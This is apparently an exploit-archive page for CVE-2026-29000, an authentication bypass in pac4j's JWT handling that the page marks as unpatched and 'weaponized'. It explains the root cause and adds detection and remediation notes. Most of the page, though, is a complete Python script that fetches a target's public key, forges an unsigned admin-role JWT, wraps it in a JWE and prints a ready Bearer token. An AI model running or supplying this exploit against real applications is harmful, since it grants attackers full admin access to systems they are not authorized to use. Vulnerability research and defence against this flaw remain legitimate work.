PoC Archive PoC Archive
Critical CVE-2026-29000 unpatched

pac4j JWT Authentication Bypass via Unsigned Token in JWE Wrapper — CVE-2026-29000

by c0gnit00 · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-29000
Category
web
Affected product
pac4j (JWT authentication module), used in Java web applications
Affected versions
Deployments using pac4j with alg: none acceptance and JWE wrapping without inner-JWT signature verification
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherc0gnit00
CVE / AdvisoryCVE-2026-29000
Categoryweb
SeverityCritical
CVSS Score9.8 (Critical) — as stated in source README
StatusWeaponized
Tagspac4j, jwt, jwe, auth-bypass, alg-none, jwks, privilege-escalation, java
RelatedN/A

Affected Target

FieldValue
Software / Systempac4j (JWT authentication module), used in Java web applications
Versions AffectedDeployments using pac4j with alg: none acceptance and JWE wrapping without inner-JWT signature verification
Language / PlatformPython PoC (requests, jwcrypto) against a Java (pac4j) backend
Authentication RequiredNo (crafts its own forged credential)
Network Access RequiredYes

Summary

A vulnerable pac4j JWT configuration accepts unsigned JWTs (alg: "none") and, when JWE encryption is used to wrap tokens, decrypts the outer JWE and trusts the inner JWT’s claims without independently verifying that the inner token is signed. The PoC builds an unsigned JWT with a payload of role: "ROLE_ADMIN", fetches the target server’s public key from a standard JWKS endpoint (/.well-known/jwks.json or /api/auth/jwks), encrypts the unsigned JWT into a JWE container using that public key, and outputs a token that the vulnerable server will decrypt, trust, and treat as an authenticated admin session. This lets an attacker forge arbitrary roles/claims without ever possessing a valid signing key.


Vulnerability Details

Root Cause

pac4j’s JWT validation path allows alg: none tokens and, for JWE-wrapped tokens, verifies only that the JWE decrypts successfully with the server’s key — it does not separately validate the signature (or lack thereof) of the inner JWT payload, so an attacker-supplied unsigned JWT is accepted as authentic once wrapped in valid JWE encryption.

Attack Vector

  1. Query the target’s JWKS endpoint to retrieve its RSA public encryption key.
  2. Construct a JWT with header alg: none and a payload containing arbitrary claims (e.g. sub: admin, role: ROLE_ADMIN), leaving it unsigned.
  3. Encrypt the unsigned JWT as a JWE using the fetched public key (RSA-OAEP-256 / A128GCM).
  4. Submit the resulting JWE as a Bearer token to a protected endpoint.
  5. The server decrypts the JWE, extracts the unsigned inner JWT, and trusts its claims without signature verification, granting admin-level access.

Impact

Complete authentication and authorization bypass — an unauthenticated attacker can forge tokens with arbitrary roles (including admin) and gain full access to protected application functionality.


Environment / Lab Setup

Target:   Java web application using pac4j with alg:none-tolerant JWT + JWE configuration, exposing a JWKS endpoint
Attacker: Python 3 with `requests` and `jwcrypto` (see requirements.txt)

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py http://vulnerable-app.local:8080 --username admin --role ROLE_ADMIN

The script fetches the target’s JWKS, builds an unsigned JWT carrying the requested username/role claims, encrypts it into a JWE using the server’s public key, and prints a ready-to-use Authorization: Bearer <JWE_TOKEN> header for authenticating against protected endpoints.


Detection & Indicators of Compromise

Signs of compromise:

  • Log entries showing accepted tokens with alg: none or missing signature verification warnings.
  • Unexplained admin-role sessions correlated with recent JWKS endpoint reconnaissance from the same source IP.
  • Configuration audit revealing setAlgorithmsAllowedForSigning(null) or disabled inner-JWT validation in pac4j setup.

Remediation

ActionDetail
Primary fixConfigure pac4j to reject alg: none and enforce inner-JWT signature verification even when JWE-wrapped; whitelist allowed algorithms (e.g. RS256). No vendor patch confirmed as of 2026-07-05 — monitor for advisory.
Interim mitigationRestrict JWKS endpoint exposure to internal networks, disable JWE wrapping if not required, and add independent signature/claims validation layers in front of pac4j.

References


Notes

Mirrored from https://github.com/c0gnit00/CVE-2026-29000 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3
"""
PoC for CVE-2026-29000 - pac4j JWT Authentication Bypass
Automatically fetches the server's public key and creates a forged admin token
"""

import sys
import json
import time
import base64
import requests
import argparse
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode

def b64url_encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def create_none_alg_jwt(username="admin", role="ROLE_ADMIN"):
    header  = {"alg": "none", "type": "JWT"}
    now     = int(time.time())
    payload = {
        "sub": username,
        "role": role,
        "iss": "principal-platform",
        "iat": now,
        "exp": now + 3600
    }
    header_b64  = b64url_encode(json.dumps(header,  separators=(',', ':')))
    payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':')))
    plain_jwt = f"{header_b64}.{payload_b64}."
    print(f"[*] Plain JWT (alg:none):\n    {plain_jwt}\n")
    return plain_jwt

def fetch_jwks(base_url):
    endpoints = ["/.well-known/jwks.json", "/api/auth/jwks"]
    for ep in endpoints:
        url = base_url.rstrip('/') + ep
        try:
            r = requests.get(url, timeout=10, verify=False)
            if r.status_code == 200:
                data = r.json()
                print(f"[+] JWKS fetched from: {url}")
                print(f"    Keys found: {len(data.get('keys', []))}")
                return data
            else:
                print(f"[-] {url} → HTTP {r.status_code}")
        except Exception as ex:
            print(f"[-] {url}{ex}")
    return None

def encrypt_jwt_as_jwe(plain_jwt, jwks_data):
    raw_key = jwks_data["keys"][0]
    print(f"[*] Using key: kid={raw_key.get('kid', '<no kid>')}, kty={raw_key.get('kty')}")
    pub_key = jwk.JWK(**raw_key)
    protected_header = {
        "alg": "RSA-OAEP-256",
        "enc": "A128GCM",
        "kid": raw_key.get("kid", "enc-key-1"),
        "cty": "JWT"
    }
    token = jwe.JWE(
        plaintext=plain_jwt.encode(),
        protected=json_encode(protected_header)
    )
    token.add_recipient(pub_key)
    jwe_token = token.serialize(compact=True)
    print(f"[+] JWE token:\n    {jwe_token}\n")
    return jwe_token

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-29000 PoC - pac4j alg:none bypass")
    parser.add_argument("url",         help="Target base URL, e.g. http://10.10.11.x:8080")
    parser.add_argument("--username",  default="admin")
    parser.add_argument("--role",      default="ROLE_ADMIN")
    parser.add_argument("--jwk",       metavar="JSON",
                        help='JWKS JSON string, e.g. \'{"keys":[{...}]}\'. '
                             'Skips live fetch when provided.')
    args = parser.parse_args()

    requests.packages.urllib3.disable_warnings()

    print("=" * 60)
    print("  pac4j JWT Authentication Bypass PoC")
    print("=" * 60)

    # Step 1 – build the unsigned JWT
    plain_jwt = create_none_alg_jwt(args.username, args.role)

    # Step 2 – resolve JWKS: CLI arg takes priority, otherwise fetch live
    if args.jwk:
        try:
            jwks = json.loads(args.jwk)
            print(f"[*] Using supplied JWK (kid={jwks['keys'][0].get('kid')})\n")
        except (json.JSONDecodeError, KeyError) as e:
            print(f"[!] Invalid --jwk value: {e}")
            sys.exit(1)
    else:
        jwks = fetch_jwks(args.url)
        if jwks is None:
            print("[!] Could not retrieve JWKS from either endpoint.")
            print("    Supply one manually with --jwk '{\"keys\":[{...}]}'")
            sys.exit(1)

    # Step 3 – wrap the plain JWT inside a JWE
    jwe_token = encrypt_jwt_as_jwe(plain_jwt, jwks)

    print(f"Authorization: Bearer {jwe_token}")

if __name__ == "__main__":
    main()